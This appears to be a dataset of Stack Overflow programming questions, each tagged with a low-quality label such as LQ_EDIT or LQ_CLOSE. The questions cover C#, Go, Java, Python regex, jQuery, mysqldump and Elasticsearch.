<label for="filepond--browser-qiu43sah3" id="filepond--drop-label-qiu43sah3" aria-hidden="true">Drag & Drop your files or <span class="filepond--label-action" tabindex="0">Browse</span></label>
</div>
<div class="filepond--list-scroller" style="transform: translate3d(0px, -3px, 0px);">
<ul class="filepond--list" role="list">
<li class="filepond--item" id="filepond--item-xabj3x4o1" style="transform: translate3d(0px, 0px, 0px) scale3d(1, 1, 1); opacity: 1; height: 41px;" data-filepond-item-state="idle">
<fieldset class="filepond--file-wrapper">
<legend>fake.pdf</legend>
<input type="hidden" name="uploadedFile" value="">
<div class="filepond--file">
<button class="filepond--file-action-button filepond--action-abort-item-load" type="button" data-align="right" disabled="disabled" style="transform: translate3d(0px, 0px, 0px) scale3d(1, 1, 1); opacity: 0; visibility: hidden; pointer-events: none;"><span>Abort</span></button>
<button class="filepond--file-action-button filepond--action-retry-item-load" type="button" data-align="right" disabled="disabled" style="transform: translate3d(0px, 0px, 0px) scale3d(1, 1, 1); opacity: 0; visibility: hidden; pointer-events: none;">
<svg width="26" height="26" viewBox="0 0 26 26" xmlns="http://www.w3.org/2000/svg">
<path d="M10.81 9.185l-.038.02A4.997 4.997 0 0 0 8 13.683a5 5 0 0 0 5 5 5 5 0 0 0 5-5 1 1 0 0 1 2 0A7 7 0 1 1 9.722 7.496l-.842-.21a.999.999 0 1 1 .484-1.94l3.23.806c.535.133.86.675.73 1.21l-.804 3.233a.997.997 0 0 1-1.21.73.997.997 0 0 1-.73-1.21l.23-.928v-.002z" fill="currentColor" fill-rule="nonzero"></path>
</svg><span>Retry</span></button>
<button class="filepond--file-action-button filepond--action-remove-item" type="button" data-align="left" style="transform: translate3d(0px, 0px, 0px) scale3d(1, 1, 1); opacity: 1;">
<svg width="26" height="26" viewBox="0 0 26 26" xmlns="http://www.w3.org/2000/svg">
<path d="M11.586 13l-2.293 2.293a1 1 0 0 0 1.414 1.414L13 14.414l2.293 2.293a1 1 0 0 0 1.414-1.414L14.414 13l2.293-2.293a1 1 0 0 0-1.414-1.414L13 11.586l-2.293-2.293a1 1 0 0 0-1.414 1.414L11.586 13z" fill="currentColor" fill-rule="nonzero"></path>
</svg><span>Remove</span></button>
<div class="filepond--file-info" style="transform: translate3d(31px, 0px, 0px);"><span class="filepond--file-info-main" aria-hidden="true">fake.pdf</span><span class="filepond--file-info-sub">8 KB</span></div>
<div class="filepond--file-status" style="transform: translate3d(31px, 0px, 0px); opacity: 0; visibility: hidden; pointer-events: none;"><span class="filepond--file-status-main"></span><span class="filepond--file-status-sub"></span></div>
<div class="filepond--processing-complete-indicator" data-align="right" style="transform: scale3d(0.75, 0.75, 1); opacity: 0; visibility: hidden; pointer-events: none;">
<svg width="26" height="26" viewBox="0 0 26 26" xmlns="http://www.w3.org/2000/svg">
<path d="M18.293 9.293a1 1 0 0 1 1.414 1.414l-7.002 7a1 1 0 0 1-1.414 0l-3.998-4a1 1 0 1 1 1.414-1.414L12 15.586l6.294-6.293z" fill="currentColor" fill-rule="nonzero"></path>
</svg>
</div>
<div class="filepond--progress-indicator filepond--load-indicator" style="opacity: 0; visibility: hidden; pointer-events: none;">
<svg>
<path stroke-width="2" stroke-linecap="round"></path>
</svg>
</div>
<div class="filepond--progress-indicator filepond--process-indicator" style="opacity: 0; visibility: hidden; pointer-events: none;">
<svg>
<path stroke-width="2" stroke-linecap="round"></path>
</svg>
</div>
</div>
</fieldset>
<div class="filepond--panel filepond--item-panel" data-scalable="true">
<div class="filepond--panel-top filepond--item-panel"></div>
<div class="filepond--panel-center filepond--item-panel" style="transform: translate3d(0px, 7px, 0px) scale3d(1, 0.27, 1);"></div>
<div class="filepond--panel-bottom filepond--item-panel" style="transform: translate3d(0px, 34px, 0px);"></div>
</div>
</li>
</ul>
</div>
<div class="filepond--panel filepond--panel-root" data-scalable="true">
<div class="filepond--panel-top filepond--panel-root"></div>
<div class="filepond--panel-center filepond--panel-root" style="transform: translate3d(0px, 7px, 0px) scale3d(1, 0.55, 1);"></div>
<div class="filepond--panel-bottom filepond--panel-root" style="transform: translate3d(0px, 62px, 0px);"></div>
</div><span class="filepond--assistant" id="filepond--assistant-qiu43sah3" role="status" aria-live="polite" aria-relevant="additions"></span>
<div class="filepond--drip"></div>
</div>
This is the reason i think my c# Controller can't receive the param `uploadedFile` , how to solve the input name ?
[1]: https://pqina.nl/filepond/ | <c#><asp.net-core><filepond> | 2020-02-03 07:17:11 | LQ_EDIT |
60,037,623 | How to escape "\" in exec.Command in Golang? | <p>I want to execute </p>
<pre><code>cat database_dump_1.sql | docker exec -i my_postgres psql -U postgres
</code></pre>
<p>using exec.Command method of Golang.</p>
<p>My code goes like this :</p>
<pre><code>options := []string{"out.sql", "|", "docker", "exec", "-i", "my_postgres", "psql", "-U", "postgres"}
cmd, err := exec.Command("cat", options...).Output()
if err != nil {
panic(err)
}
fmt.Println(string(cmd))
</code></pre>
<p>but this fails. I guess I am not able to escape "|". I have tried "\|", but this also fails.
What am I doing wrong??</p>
| <go> | 2020-02-03 10:45:18 | LQ_CLOSE |
60,040,497 | How can I shorten a test for a list being null or having no elements? | <p>I have this code:</p>
<pre><code>if (App.selectedPhrases == null || App.selectedPhrases.Count == 0)
</code></pre>
<p>I know that I can use App.selectedPhrases?.Count to return null if needed but how how can I shorten this test? I can't see a way to check for null or 0 without needing to use the || and have two tests.</p>
| <c#> | 2020-02-03 13:43:00 | LQ_CLOSE |
60,044,361 | Calling the month's name | I need help to improve my code. This is just for me, I just wanna learn more. So, I had this assignment in my class about array. I finished coding and submitted already, but I really want to code is for the program to print out the name of the month like "The rainfall value of the month of January: 156.98" rather than "month 1"
here is my code:
First, I created a class without the main method. This class has a constructor, 3 methods.
```public class RainFall {
private double[] rainFall;
public RainFall(double [] r){
//create an array as large as r
rainFall = new double [r.length];
//sopy the elements from r to rainFall
for (int index = 0 ; index < r.length ; index ++)
rainFall[index] = r[index];
}
//total method to get the total value of rain in a year
public double getTotal ()
double total = 0.0; //hold the total rain value
for (int i = 0 ; i < rainFall.length ; i++) //accumulate the rain value through out a year.
{
total += rainFall[i];
}
return total;
}
//get the average value of the rain in a year
public double getAverage(){
return getTotal () / rainFall.length;
}
//get the month with the most rain
public double getHighest ()
{
double highest = rainFall[0];
for(int index = 1 ; index < rainFall.length; index ++){
if(rainFall[index] > highest)
highest = rainFall[index] ;
}
return highest;
}
//get the month with the least rain
public double getLowest ()
{
double lowest = rainFall[0];
for(int index = 1 ; index < rainFall.length; index ++){
if(rainFall[index] < lowest)
lowest = rainFall[index] ;
if(lowest < 0 )
{
System.out.println("NO NEGATIVE NUMBER");
return 0;
}
}
return lowest;
}
}```
Then I created another class with the main method to call other methods:
```import java.util.Scanner;
public class CalculateRain {
/**
* @param args the command line arguments
*/
public static void main(String[] args) {
final int MONTHS = 12; //the 12 months
//create an array to hold the rain values for a year
double [] rainFall = new double [MONTHS];
getValues(rainFall);
//create a rain fall object
RainFall re = new RainFall (rainFall);
//Display the total, average, highest, lowest values of the rain fall in
// a year
System.out.println("The total value of rain fall in a year: " + re.getTotal());
System.out.println("The average value is: " + re.getAverage());
System.out.println("The highest month has the value: " + re.getHighest());
System.out.println("The lowest month has the value: " + re.getLowest());
}
private static void getValues(double [] array)
{
Scanner keyboard = new Scanner (System.in);
//get the values of the months
for (int i = 0 ; i < array.length ; i ++)
{
System.out.println("Enter the value for the month " + (i+1));
array[i] = keyboard.nextDouble();
if (array[i] < 0 )
{
System.out.println("The value SHOULD NOT BE a NEGATIVE number");
break;
}
}
}
}```
I tried to create another loop inside the for (int i = 0 ; i < array.length ; i ++)
but before that, I created another array to hold the names of the months
```String [] month = {"January", "February","March",etc};```
and inside the for loop I did something like this
```for ( int i = 0 ; i < array.length ; i ++)
{
for (int index = 0; month.length; index++)
{
System.out.println("The rainfall value of the " + month[index]);
array[i] = keyboard.nextDouble();
if (array[i] < 0 )
{
System.out.println("The value SHOULD NOT BE a NEGATIVE number");
break;
}
}
}```
It ran, but I created an infinite loop.
Where did I miss it?
Thank you so much, guys.
| <java><for-loop> | 2020-02-03 17:34:40 | LQ_EDIT |
60,044,568 | jQuery: onclick method for every buttons with id starting with | <p>I have a set of buttons with ids "del1", "del2", and so on. I'm trying to make an onclick function that fires when any of those buttons are clicked on. So basically replace:</p>
<pre><code>$(document).on('click', '#del1', function(e) {
alert("For button1");
});
$(document).on('click', '#del2', function(e) {
alert("For button2");
});
etc
</code></pre>
<p>With a single function. The amount of buttons can change, and there's no limit to the amount of buttons. How can I do this?</p>
| <javascript><jquery> | 2020-02-03 17:49:05 | LQ_CLOSE |
60,044,613 | How to create a SearchResponce in java elastic api, with aggregations and sort? | <p>How to create a SearchResponce in java elastic api, with aggregations? So that it looks like a request to elastic?
Example:</p>
<pre><code>{
"_source":"username",
"size":0,
"aggs":{
"users":{
"terms":{
"field":"username.keyword",
"order": {
"sum":"desc"
}
},
"aggs": {
"sum": {
"sum": {
"field":"fileSize"
}
}
}
},
"total": {
"cardinality": {
"field":"username.keyword"
}
}
}
}
</code></pre>
| <java><elasticsearch> | 2020-02-03 17:52:48 | LQ_CLOSE |
60,049,928 | How can I get a string from a 2d character array in C? | <p>The 2d array:</p>
<pre><code>char c[4][3]={{'a','b','c'},{'d','e','f'},{'g','h','i'},{'j','k','l'}};
</code></pre>
<p>As I wanted to get 'def' after running the program, I tried this code:</p>
<pre><code>printf("%s\n",c[1]);
</code></pre>
<p>However, the result was 'defghijkl\262'. What's wrong with my code?</p>
| <c><arrays><string> | 2020-02-04 02:56:39 | LQ_CLOSE |
60,051,666 | How to prevent a product on WooCommerce from being indexed by Google? | <p>I'm referring to specific product not all products. I've googled and can't find any answer to this.</p>
| <php><wordpress><woocommerce> | 2020-02-04 06:20:22 | LQ_CLOSE |
60,051,691 | Split a string in python on a floating point number, if no floating point number found, split it on a number | <p>I have a list of strings and I want to split each string on a floating point number. If there is no floating point number in the string, I want to split it on a number.
It should only split once and return everything before and after it separated by commas.</p>
<p>Input string:</p>
<pre><code>['Naproxen 500 Active ingredient Ph Eur',
'Croscarmellose sodium 22.0 mg Disintegrant Ph Eur',
'Povidone K90 11.0 Binder 56 Ph Eur',
'Water, purifieda',
'Silica, colloidal anhydrous 2.62 Glidant Ph Eur',
'Magnesium stearate 1.38 Lubricant Ph Eur']
</code></pre>
<p>Expected output:</p>
<pre><code>['Naproxen', '500', 'Active ingredient Ph Eur',
'Croscarmellose sodium', '22.0 mg', 'Disintegrant Ph Eur',
'Povidone K90', '11.0', 'Binder Ph Eur',
'Water, purified',
'Silica, colloidal anhydrous', '2.62', 'Glidant Ph Eur',
'Magnesium stearate', '1.38', 'Lubricant Ph Eur']
</code></pre>
| <python><regex><string><split><pattern-matching> | 2020-02-04 06:22:42 | LQ_CLOSE |
60,051,822 | What does this mean? Why is it required? cur_row, cur_col = cur_path[-1] | <p>Im looking at some code for BFS traversal of maze in python. First time writing with python, I want to understand what the reason for cur_row, cur_col = cur_path[-1] is, specifically why [-1] is needed</p>
<pre><code>def bfs(maze):
queue = []
visited = set()
queue.append([maze.getStart()])
while queue:
cur_path = queue.pop(0)
cur_row, cur_col = cur_path[-1]
if (cur_row, cur_col) in visited:
continue
visited.add((cur_row, cur_col))
if maze.isObjective(cur_row, cur_col):
return cur_path, len(visited)
for item in maze.getNeighbors(cur_row, cur_col):
if item not in visited:
queue.append(cur_path + [item])
return [], 0
</code></pre>
| <python><python-3.x> | 2020-02-04 06:34:38 | LQ_CLOSE |
60,053,234 | can someone help me to make my exit button work? (python) | Hey i want to make a exit button in my code, but it won't work. I would prefer to use exit() but if it is not possible with exit() then you could use an other way to make it work. Also pls explain me how you fixed it thanks in advance! Code in link [Code][1]
[1]: https://paste.ee/p/rmdYd | <python><turtle-graphics> | 2020-02-04 08:22:24 | LQ_EDIT |
60,053,924 | Angular 8 : Merging two objects in an array | <p>I have a couple of objects inside of an array :</p>
<pre><code>array1 =[{name : "Cena", age : 44},{job : "actor", location : "USA"}]
</code></pre>
<p>is there a way for me to merge these two objects to get something like : </p>
<pre><code>array2 =[{name : "Cena", age : 44, job : "actor", location : "USA"}]
</code></pre>
<p>I tried looping through the elements but it is not a good option if the object is a big one, I guess. Any good solution using typescript?</p>
| <javascript><arrays><angular><typescript> | 2020-02-04 09:07:40 | LQ_CLOSE |
60,054,435 | How to split a string in a list into multiple string based on whitespaces in python? | <p>Here, 'list' is my list of strings, i want to split 'a b' into 'a','b' and merge it back into the list with other strings</p>
<pre><code>list = ['abc','a b', 'a b c','1234']
Expected Output after splitting = ['abc','a','b','a','b','c','1234']
</code></pre>
| <python><regex><list><split><list-comprehension> | 2020-02-04 09:36:20 | LQ_CLOSE |
60,055,191 | TypeError: convertDocument() takes 1 positional argument but 2 were given | <p>I'm try to use Converter class to convert my image file but when I'm use it in OOP it's give me </p>
<p><strong>TypeError:</strong> convertDocument() takes 1 positional argument but 2 were given</p>
<pre><code>class Converter:
def convIMG2JPG(self):
os.mkdir(inputfile+"\\"+Path(inputfile).stem)
im = Image.open(inputfile)
rgb_im = im.convert('RGB')
rgb_im.save(outputdir+"\\"+ Path(inputfile).stem+"\\"+ Path(inputfile).stem + ".jpg")
def convertDocument(inputfile):
if(file_extension == ".gif" or file_extension == ".jfif" or file_extension == ".jpeg" or file_extension == ".jpg"
or file_extension == ".BMP" or file_extension == ".png"):
convIMG2JPG(inputfile)
</code></pre>
<pre><code>convert = Converter()
input = "/10791227_7168491604.jpg"
convert.convertDocument(input)
</code></pre>
| <python> | 2020-02-04 10:18:10 | LQ_CLOSE |
60,056,167 | mysqldump syntax error - password being used as database name | <p>I'm trying to duplicate a MySQL (5.5.64-MariaDB) database on the same server by following this guide: <a href="https://stackoverflow.com/questions/675289/cloning-a-mysql-database-on-the-same-mysql-instance">Cloning a MySQL database on the same MySql instance</a></p>
<p>The accepted answer didn't work so I reviewed the docs over at MySQL and found that the <a href="https://dev.mysql.com/doc/refman/8.0/en/mysqldump.html#mysqldump-option-summary" rel="nofollow noreferrer">mysqldump Options</a> used <code>--user</code> and <code>--password</code> instead of the <code>-u</code> and <code>-p</code> flags on the linked post.</p>
<p>When I execute this:</p>
<pre><code>mysqldump --user myUser --password myPassword dev_db | mysql -umyUser -pmyPassword staging_db
</code></pre>
<p>It firstly asks me to enter a password:</p>
<blockquote>
<p>Enter password: </p>
</blockquote>
<p>So I enter <code>myPassword</code> although unsure why as it's given in the arguments list.</p>
<p>Then it gives the following error:</p>
<blockquote>
<p>mysqldump: Got error: 1049: "Unknown database 'myPassword'" when selecting the database</p>
</blockquote>
<p>If I try entering the <code>--username</code> and <code>--password</code> <em>without spaces</em>:</p>
<pre><code>mysqldump --usermyUser --passwordmyPassword dev_db | mysql -umyUser -pmyPassword staging_db
</code></pre>
<p>It errors</p>
<blockquote>
<p>mysqldump: unknown option '--usermyUser'</p>
</blockquote>
<p>The intention of this is to copy <code>dev_db</code> into a database called <code>staging_db</code>. Both of these databases exist on the same server. The username/password I'm using has full access to every database on the MySQL instance.</p>
<p>Why doesn't this work?</p>
<p>If I use:</p>
<pre><code>$ mysql -umyUser -pmyPassword
</code></pre>
<p>It connects without any issue and gives me the MariaDB command prompt.</p>
<p>Server is running CentOS Linux release 7.7.1908 (Core) </p>
<p>Database version:</p>
<pre><code>$ mysql -V
mysql Ver 15.1 Distrib 5.5.64-MariaDB, for Linux (x86_64) using readline 5.1
</code></pre>
| <mysql><centos><mariadb> | 2020-02-04 11:14:30 | LQ_CLOSE |
60,056,485 | Python high speed memcpy | <p>I'm trying to do a high speed memcpy in Python. I use the ctypes library which allows me to interact with C programms.</p>
<p>I follow this steps:</p>
<ol>
<li>I get the memory address </li>
<li>I get the length of the data</li>
<li>I use the ctypes' functions memmove or string_at</li>
</ol>
<p>The results are correct but I need higher speed. Is there any faster way to do this without using C?</p>
<p>Thank you.</p>
| <python><c><memory-management><ctypes><high-speed-computing> | 2020-02-04 11:32:41 | LQ_CLOSE |
60,056,503 | Remove miliseconds from string | <p>I have a string: 2020-02-04 09:42:20.0825826 </p>
<p>There should be: 2020-02-04 09:42:20</p>
<p>Is there any way to remove milliseconds part? (everything after '.')</p>
| <java><regex><string> | 2020-02-04 11:34:02 | LQ_CLOSE |
60,057,881 | dictionary does not contain a definition for contains | <p>I have such code</p>
<pre><code>Dictionary<string, Object> dollarSignConvertedVals = TryToConvertAllDollarSigns(TryToConvertAllEnvVar(values));
</code></pre>
<p>When I am trying to find out if there contains a value by key like this</p>
<pre><code>if (!dollarSignConvertedVals.Contains(JSON_KEYS.CONNECTION_CONFIG)){}
</code></pre>
<p>I am getting such weird issue</p>
<blockquote>
<p>Dictionary does not contain a fedination for Contains and the best extension method overload Queryalbe.Contais(IQuerable, string) requeres of type IQueryable</p>
</blockquote>
<p><a href="https://i.stack.imgur.com/7WIDo.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/7WIDo.png" alt="enter image description here"></a></p>
<p>What is the problem here?</p>
| <c#> | 2020-02-04 12:53:07 | LQ_CLOSE |
60,058,840 | This code takes forever to run but doesn't give an error | <p>I am trying to remove all instances of a particular character from a string by replacing the character with an empty string. Here is my code:</p>
<pre><code>string1="BANANA"
while string1.count("A") != 1:
string1 = string1.replace("A","")
</code></pre>
<p>This code takes forever to run and doesn't give an error. What is the problem?</p>
| <python> | 2020-02-04 13:49:30 | LQ_CLOSE |
60,059,133 | how do i select a value from drop down in selenium webdriver using python. drop down is very dynamic | how do i select a value from drop down in selenium web-driver using python. Drop down is very dynamic.
As per discussion with developer each value in drop down is a label.Before even I right click, the drop down vanishes.So not able to pick the xpath or framed xpath also not working. Am not able to see the drop down labels as well in HTMl. Values are not from DB it is from API.Only in UI am able to see the drop down values. Find below the screen shot.So how do i pick value from drop down for selenium python.
Screen shot when drop down is opened
[image when drop down is open][1]
Image when down is closed
[image when drop down is closed][2]
[1]: https://i.stack.imgur.com/axZH9.png
[2]: https://i.stack.imgur.com/aYtf1.png | <python><selenium><selenium-webdriver> | 2020-02-04 14:06:22 | LQ_EDIT |
60,060,319 | How to convert numbers written in words to digits in Java? | <p>Does anyone know how to convert something like <code>quatre-vingt mille quatre cent quatre-vingt-dix-sept</code> to <code>80497</code> in Java?</p>
| <java><french> | 2020-02-04 15:13:06 | LQ_CLOSE |
60,060,767 | How much time to approve my app on google play? | <p>I have released my first android app on google play two days ago but it has not approved yet. Is that normal? how much time will i wait more?</p>
| <android><google-play><publish><google-play-console> | 2020-02-04 15:37:02 | LQ_CLOSE |
60,062,617 | How to get the src attribute from a JSON object? | <p>This is one object of my JSON :</p>
<pre><code> {
"box": [
{
"htm": "<div style=\"float:left;margin:0 0 10px\"><img alt=\"BICYCLE GARAGE\" src=\"//cdn.membershipworks.com/u/5ceef04cf033bfad7c9d9c82_lgl.jpg?1565140260\" class=\"SFbizlgo\" onerror=\"SF.del(this)\"></div><div style=\"float:left\"><h1 style=\"display:block;margin:0;padding:0;\">BICYCLE GARAGE</h1><p style=\"margin:15px 0 0;\">&quot;For bicycling around the block or around the world&quot; Bloomington, Indiana</p></div><div style=\"clear:both;\"></div>"
}
],
"lbl": "About"
}
],
</code></pre>
<p>To get the box object I did
<code>const logoHtml = tpl[0].box[0].htm</code>
and in my console I'm getting <code><div style="float:left;margin:0 0 10px"><img alt="ALAMEDA BICYCLE" src="//cdn.membershipworks.com/u/5ceef04bf033bfad7c9d9c0a_lgl.jpg?1566946141" class="SFbizlgo" onerror="SF.del(this)"></div><div style="float:left"><h1 style="display:block;margin:0;padding:0;">ALAMEDA BICYCLE</h1><p style="margin:15px 0 0;"></p></div><div style="clear:both;"></div></code></p>
<p>Which is good! To get the src attribute I've been doing <code>const newLogo = document.getElementsByTagName('img').src</code></p>
<p>Now, how do I combine those two constants to get the src attribute from the img tag?</p>
| <javascript><html><arrays><json><reactjs> | 2020-02-04 17:28:26 | LQ_CLOSE |
60,064,995 | How to join tables with text column | I got 2 tables to merge
t1
Continent Country City
-----------------------
Europe Germany Munich
NA Canada Ontario
Asia Singapore (blank)
Asia Japan Tokyo
AND
t2
Country Status
-----------------
Germany Complete
Canada Incomplete
Singapore Complete
Japan Complete
I want to get the continent with 2nd highest "complete", what should I do? I am new to SQL and is trying hard to learn the basics but I cannot get this done.
Thanks all
| <sql> | 2020-02-04 20:22:09 | LQ_EDIT |
60,065,083 | How do I implement this for my android app | <p>Hi Guys I recently have seen an app that allows you to copy a url of and instagram post and share it to the app from instagram</p>
<p><a href="https://youtu.be/8lr8EgCvLTw?t=6" rel="nofollow noreferrer">you can see what I mean here:</a></p>
<p>How do i make it so my app can do this from a web browser, I want theuser to be able to copy the url and send it to my app.</p>
| <android> | 2020-02-04 20:28:31 | LQ_CLOSE |
60,065,411 | Create Special offer layout | <p>How can I create a layout that contains the red view on top left corner </p>
<p>See the picture below to have a better idea of what I am seeking for</p>
<p>Thank you
<a href="https://i.stack.imgur.com/GBgN9.png" rel="nofollow noreferrer">enter image description here</a></p>
| <android><xml><layout> | 2020-02-04 20:54:38 | LQ_CLOSE |
60,066,919 | Why does my querySelectorAll is not working even though I converted it to an array? | # querySelectorAll is not working
Hey guys I have been trying to inject some data from my JavaScript file to my index html with dom manipulation (querySelectorAll) but it is not working. Note that I have also tried converting nodelist into array for it to be displayed on html but to no avail, it still does not work. I've spent some time googling for a similar problem like this but I could not find any.
**HTML code:**
``` <section class="section">
<div class="container">
<div style='margin: 40px 10px 40px'>
<h1>Lifestyle.</h1>
<p>The latest and best lifestyle articles selected<br/>
by our editorial office.
</p>
</div>
</div>
<div class="container">
<div class='card-row'></div>
<div class='card-row'></div>
<div class='card-row'></div>
<div class='card-row'></div>
<div class='card-row'></div>
<div class='card-row'></div>
</div>
</section>
```
**CSS code:** (this is for the cards layout)
```
.card-row {
width: 300px;
height: 270px;
border-radius: 15px;
background-color: tomato;
color: #fff;
}
```
**JS Code:**
```
const card = document.querySelectorAll('.card-row')
const newCard = Array.from(card)
const data = [
{
topic: 'Food',
title: 'Wake Up and Smell the Coffee',
price: '$0.90',
color: green
},
{
topic: 'Architecture',
title: 'The Brand New NASA Office',
price: '$0.19',
color: black
},
{
topic: 'Travel',
title: 'Experience the Saharan Sands',
price: '$2.29',
color: brown
},
{
topic: 'Interior',
title: '9 Air-Cleaning Plants Your Home Needs',
price: '$0.09',
color: greenblue
},
{
topic: 'Food',
title: 'One Month Sugar Detox',
price: '$0.99',
color: pink
},
{
topic: 'Photography',
title: 'Shooting Minimal Instagram Photos',
price: '$0.29',
color: blue
}
]
data.forEach(info => {
card.innerHTML += `
<span>${info.topic}</span>
<h3>${info.title}</h3>
<p>${info.price}</p>
`
})
```
Basically, I want my data variable to loop and inject the objects inside my cards. I have tried using only querySelector and of course it works for the first card but it is not something I want to achieve. I could also give each card an id and manually put each data's object but it is not efficient and I'm trying to avoid long code.
### I hope my explanation is clear enough. Thank you in advance! | <javascript><arrays><object><dom><foreach> | 2020-02-04 23:16:28 | LQ_EDIT |
60,067,952 | firefox eats linux mint /home memory |
Seems Firefox browser uses disk memory. Computer have crashed many times and was eaten some 4GB of memory, approx 100-500Mb each time.
I believed, it was php script, as in this question
https://stackoverflow.com/questions/60065930/nested-php-loop-eats-gigabytes-of-linux-mint-memory
But, now i have found that 3D javascript examples from plotly and echarts eats a lot of memory too.
Seems the Firefox browser is the reason, as it crashes when script is running.
How to recover the lost memory?
I can not copy more files from /home . | <firefox><out-of-memory><linux-mint> | 2020-02-05 01:46:33 | LQ_EDIT |
60,068,415 | Converting dateTime to different format | <p>There is a <code>dateTime</code> in the format of "dd/mm/yyyy hh:mm:ss tt". A <code>string</code> is required to be created from this, in the format of "yyyyMMddHHmmssfff". </p>
<pre><code>string timestamp = (dateTimeUTC.Year).ToString() + (dateTimeUTC.Month).ToString() + (dateTimeUTC.Day).ToString() + (dateTimeUTC.Hour).ToString() + (dateTimeUTC.Minute).ToString() +
(dateTimeUTC.Second).ToString() + (dateTimeUTC.Millisecond).ToString();
</code></pre>
<p>The problem with this code is that if any of the digits for month or day are 0-9, there is no 0 in front of the digit. For example, suppose we have the <code>dateTime</code> 1/26/2020 11:59:53 PM. This must be converted to 20200126235651100. Instead it will be 20201262359530.</p>
| <c#><.net><datetime> | 2020-02-05 02:58:28 | LQ_CLOSE |
60,069,546 | Need to copy all fields value of specific item on table to another item in sql server | [sql database snapshot][1]
[1]: https://i.stack.imgur.com/TRDpj.png
I need to copy this selected article data to another article. Need a query in sql to solve this issue. | <sql><sql-server> | 2020-02-05 05:35:34 | LQ_EDIT |
60,070,100 | Extract text element separated by hash & comma and store it in separate variable using python | I have text file having this content
```
group11#,['631', '1051']#,ADD/H/U_LS_FR_U#,group12#,['1', '1501']#,ADD/H/U_LS_FR_U#,group13#,['31', '28']#,ADD/H/UC_DT_SS#,group14#,['18', '27', '1017', '1073']#,AN/H/UC_HR_BAN#,group15#,['13']#,AD/H/U_LI_NW#,group16#,['1031']#,AN/HE/U_LE_NW_IES#
```
Requirment is to pull each element separated by **#,** and to store it in separate variable. And text file above is not having fixed length. So if there are 200 #, separated values then, those should be stored in 200 varaiables.
So the expected output would be
```
a = group11, b = 631, 1051, c = ADD/H/U_LS_FR_U, d = group12, e = 1, 1501, f = ADD/H/U_LS_FR_U and so on
```
Not sure how to achive this?
I've started with
```
with open("filename.txt", "r") as f:
data = f.readlines()
``` | <python> | 2020-02-05 06:29:36 | LQ_EDIT |
60,076,402 | C# Writing a file to the APP_DATA folder and getting bitdefender (antivirus) to scan/delete it | This is the code I use to write my file to the app_data folder:
var filename = Server.MapPath("~/App_Data") + "/" thefilename;
var ms = new MemoryStream();
file.InputStream.CopyTo(ms);
file.InputStream.Position = 0;
byte[] contents = ms.ToArray();
var fileStream = new System.IO.FileStream(filename, System.IO.FileMode.Create,
System.IO.FileAccess.ReadWrite);
fileStream.Write(contents, 0, contents.Length);
fileStream.Close();
This writes the file fine however bitdefender does not delete this file if there is a virus on it unless I go on the IIS and manually try to open/move the file, if I do that then it is instantly deleted.
If I copy and paste the test virus file into the app_data folder directly then bitdefender removes it instantly.
I have tried to use various ways to read/move the file with System.IO.File.Move/Open/ReadAllLines
Yet nothing triggers bit defender to remove the file.
The only thing I got to work was creating a new process to open the file, however I don't want to be doing that on the server and I am looking for a different solution. This is the code that does this:
Process cmd = new Process();
cmd.StartInfo.FileName = filename;
cmd.Start();
A solution with System.IO.File.Open would be best for me in this situation but I cannot figure out why it isn't working. | <c#><.net><filestream><antivirus><appdata> | 2020-02-05 13:00:06 | LQ_EDIT |
60,076,410 | Different output on recursive call using static variable | <pre><code>int fun1(int x){
static int n;
n = 0;
if(x > 0){
n++;
return fun1(x-1)+n;
}
return 0;
}
int fun(int x){
static int n = 0;
if(x > 0){
n++;
return fun(x-1)+n;
}
return 0;
}
</code></pre>
<p>Can anyone tell me the difference between fun and fun1 ?
Getting different output!!</p>
| <c++><c><recursion><static> | 2020-02-05 13:00:45 | LQ_CLOSE |
60,077,115 | .net core 3 Problem while registering ApplicationDbContext for dependency injection | <p>when i register other services it work like <code>services.AddSingleton<GeneratingData, GeneratingData>()</code> but when i add <code>services.AddSingleton<ApplicationDbContext, ApplicationDbContext>();</code> it does work
<a href="https://i.stack.imgur.com/dFCwe.png" rel="nofollow noreferrer">this error shows up</a></p>
<p><a href="https://i.stack.imgur.com/pgHaL.png" rel="nofollow noreferrer">enter image description here</a>
this is the code i write in startup file
<a href="https://i.stack.imgur.com/YfvrZ.png" rel="nofollow noreferrer">adding ApplicationDbContext for dependency injection</a></p>
| <asp.net-core><asp.net-core-mvc> | 2020-02-05 13:38:58 | LQ_CLOSE |
60,077,968 | Failed to load org.apache.spark.examples. I am getting this error, Please help me to run a spark job(scala) | Command:
bin/run-example /home/datadotz/streaming/wc_str.scala localhost 9999
Error:
Failed to load org.apache.spark.examples./home/datadotz/streami
java.lang.ClassNotFoundException: org.apache.spark.examples.
| <apache-spark> | 2020-02-05 14:25:57 | LQ_EDIT |
60,078,168 | Need help in deploying my python flask API in Jetty or tomcat | <p>I am fresher looking to deploy my python flask API in Jetty or tomcat.</p>
<p>No idea how to do that first time to the deployment. I tested it postman wsgi server getting the output.</p>
<p>No idea about how to move ahead.</p>
| <python><tomcat><flask><deep-learning><jetty> | 2020-02-05 14:36:03 | LQ_CLOSE |
60,082,430 | Converting each individual letter of a string to ASCII equivalent - Python | <p>How would one write a code to display the conversion of individual letters in a string to it's ASCII equivalent? One example of the output in shell would look like this:</p>
<pre><code>Enter a 3-letter word: Hey
H = 72
e = 101
y = 121
</code></pre>
| <python><ascii> | 2020-02-05 18:57:56 | LQ_CLOSE |
60,085,093 | Regex matching for optional characters including question mark | <p>My string looks like this: "<a href="https://google.com/bar/foobar?count=1" rel="nofollow noreferrer">https://google.com/bar/foobar?count=1</a>" or it could be "<a href="https://google.com/bar/foobar" rel="nofollow noreferrer">https://google.com/bar/foobar</a>"</p>
<p>I want to extract the value <code>foobar</code> - it appears after <code>/bar</code> and has an optional <code>?</code></p>
<p>My regex looks like this:
<code>m = re.match(r'(.*)/bar/(.*)((\?)(.*))?', data)</code></p>
<p>When I use this regex over example 2: <code>"https://google.com/bar/foobar"</code> I get two groups
<code>('https://google.com', 'foobar', None, None, None)</code></p>
<p>When I use this regex on the first example: <code>"https://google.com/bar/foobar?count=1"</code> I get</p>
<p><code>('https://google.com', 'foobar?count=3', None, None, None)</code></p>
<p>But I would like the second group to just be <code>foobar</code> without the <code>?count=3</code>
How would I achieve that?</p>
<p>My understanding so far is</p>
<p><code>(.*)/bar/(.*)((\?)(.*))?</code> is as follows:
<code>(.*)</code> matches the first part of the string. <code>\?</code> matches the <code>?</code> and <code>((\?)(.*))</code> matches <code>?count=3</code> and this is enclosed in <code>?</code> because it is supposed to be optional.</p>
